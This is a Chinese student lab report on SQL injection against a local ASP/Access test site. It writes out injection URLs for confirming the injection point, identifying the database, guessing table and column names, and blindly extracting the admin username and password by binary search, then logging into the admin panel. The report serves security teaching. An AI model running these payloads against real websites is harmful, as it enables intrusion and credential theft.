SQL注入攻击实验报告.docx
《SQL注入攻击实验报告.docx》由会员分享,可在线阅读,更多相关《SQL注入攻击实验报告.docx(16页珍藏版)》请在冰豆网上搜索。
SQL注入攻击实验报告
SQL注入攻击实验报告
D
然后,验证宿主机和虚拟机是否联通,结果显示连接成功。
最后在虚拟机上安装IIS程序,打开浏览器,输入地址“127.0.0.1”,检查网站搭建情况。
成功!
(二)寻找注入点
在宿主机上,打开网页http:
//192.168.18.9/list.asp?
id=95,可以正常打开页面。
进行注入测试,键入http:
//192.168.18.9/list.asp?
id=95and1=1,返回页面不变。
键入http:
//192.168.18.9/list.asp?
id=95and1=2,返回页面出错。
因此,可确定该网站存在注入点。
(三)判断数据库类型
用系统表的方法进行判断,分别键入
http:
//192.168.18.9/list.asp?
id=95and(selectcount(*)fromsysobjects)>0
http:
//192.168.18.9/list.asp?
id=95and(selectcount(*)frommsysobjects)>0
两者返回均出错,可知是access数据库。
(四)猜测表名
一般网站后台的管理员都默认在表admin中,我们先试一下,键入:
http:
//192.168.18.9/list.asp?
id=95and(selectcount(*)fromadmin)<>0
返回页面正常,可知该网站后台数据库中存在着表名为admin的表。
(五)猜测字段名不同公司网站有不同的字段名,但一般都有三个字段,分别记录ID号、用户名和密码,常用的字段名为:
id,username,password。
分别键入http:
//192.168.18.9/list.asp?
id=95and(selectcount(id)fromadmin)<>0
http:
//192.168.18.9/list.asp?
id=95and(selectcount(username)fromadmin)<>0
http:
//192.168.18.9/list.asp?
id=95and(selectcount(password)fromadmin)<>0
三者返回均正常。
可知,表admin中存在的三个字段:
id,username,password。
注:
“username”的截图损坏,但是返回正常,望教员通融。
(六)猜测管理员用户名和密码
1.确定表admin中有几条记录,键入http:
//192.168.18.9/list.asp?
id=95and(selectcount(*)fromadmin)=1返回页面正常。
可知,表admin只有一条记录。
2.猜测用户名长度,键入http:
//192.168.18.9/list.asp?
id=95and(selectlen(username)fromadmin)=1返回出错,继续键入http:
//192.168.18.9/list.asp?
id=95and(selectlen(username)fromadmin)=2返回出错,继续测试3/4/5…,
直到返回页面正确。
测试到5的时候,返回正常。
可知,用户名长度为5。
3.猜测用户名内容,采用ASCII码分析法先猜测第1位,用二分法,键入http:
//192.168.18.9/list.asp?
id=95and(selectcount(*)fromadminwhere(asc(mid(username,1,1)))between30and125)<>0返回正确,进一步缩小范围between70and100,between85and100,between90and100,=97。
可知第一个字符为a。
依此类推,猜测之后的每一位字符,
最后得到用户名为admin。
4.猜测密码,同理:
http:
//192.168.18.9/list.asp?
id=95and(selectlen(password)fromadmin)=6
所以密码为6位。
最终得到密码为6位:
123456。
(七)寻找到后台管理窗口打开“啊D”软件,点击进入“管理入口检测”选项,点击“检测管理入口”,进行检测,
如图:
打开检测到的各网址,测试是否为管理入口。
可知http:
//192.168.18.9/admin/index.asp为管理入口,如图:
(八)登陆后台找到后台管理窗口,http:
//192.168.18.9/admin/ad_login.asp,用刚刚得到的用户名和密码登陆,后台登陆成功。
四、实验结果及分析
SQL注入攻击过程。
1)判断Web环境是否可以SQL注入。
如果URL仅是对网页的访问,不存在SQL注入问题,如:
http:
//192.168.18.9/list.asp?
id=95,其中?
id=95表示数据库查询变量,这种语句会在数据库中执行,因此可能会给数据库带来威胁。
2)寻找SQL注入点。
完成上一步的片断后,就要寻找可利用的注入漏洞,通过输入一些特殊语句,可以根据浏览器返回信息,判断数据库类型,从而构建数据库查询语句找到注入点。
3)猜解用户名和密码。
数据库中存放的表名、字段名都是有规律可言的。
通过构建特殊数据库语句在数据库中依次查找表名、字段名、用户名和密码的长度,以及内容。
这个过程可以通过网上大量注入工具快速实现,并借助破解网站轻易破译用户密码。
4)寻找WEB管理后台入口。
通常WEB后台管理的界面不面向普通用户开放,要寻找到后台的登陆路径,可以利用扫描工具快速搜索到可能的登陆地址,依次进行尝试,就可以试出管理台的入口地址。
5)入侵和破坏。
成功登陆后台管理后,接下来就可以任意进行破坏行为,如篡改网页、上传木马、修改、泄漏用户信息等,并进一步入侵数据库服务器。
实验心得:
在实验的过程中遇到了很多困难,配置上的,环境上的,还有一些需要注意的小问题,而且从整个实验的过程来讲也涉及到了很多软件的配合使用。
在整个实验中遇到的最大问题就是,宿主机和虚拟机此前一直连不通,通过宿主机ping虚拟机,一直无法连接。
直到最后我把虚拟机的防火墙关闭了,宿主机才能访问虚拟机上发布的网页。
可见,防火墙还是有一定作用的,但是对于网站来说开通了防火墙就没办法访问网页了。